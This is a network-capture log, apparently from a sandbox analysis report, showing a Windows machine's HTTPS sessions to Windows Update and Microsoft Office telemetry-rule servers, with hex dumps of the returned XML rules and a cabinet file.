2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:02 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2otlPBgxoUx1CEW&MD=tpu6Kdur HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 14:22:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: cf370e7a-d563-4925-bb43-a670453f735d MS-RequestId: 25a1026f-a147-4bdc-9114-a2b93b9878cb MS-CV: sHNF7q7JFEmcP/LY.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 14:22:02 GMT Connection: close Content-Length: 30005
2024-11-23 14:22:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 14:22:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:02 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:02 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142202Z-178bfbc474b9fdhphC1NYCac0n00000004h0000000007wm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:03 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:02 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:02 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 3ae325a6-f01e-001f-6051-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142202Z-15b8b599d88wk8w4hC1TEB14b80000000330000000008kbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:03 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:02 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:02 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d4aa3518-701e-0098-625d-3c395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142202Z-15b8b599d886w4hzhC1TEBb4ug0000000330000000009rtf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:03 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:02 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:02 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142202Z-15b8b599d88tr2flhC1TEB5gk4000000033g00000000czve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:03 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:02 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:02 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142202Z-174c587ffdf8lw6dhC1TEBkgs800000002z000000000gyd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:03 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:04 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:05 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142205Z-174c587ffdfp4vpjhC1TEBybqw0000000350000000000bnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:22:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:04 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142205Z-174c587ffdf59vqchC1TEByk68000000038g0000000045h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:04 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:05 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 975c85cf-001e-0017-4d20-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142205Z-178bfbc474bwlrhlhC1NYCy3kg00000004kg000000009xb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:05 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:04 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3e5933f5-801e-00ac-572e-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142205Z-178bfbc474b9fdhphC1NYCac0n00000004hg000000006c87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
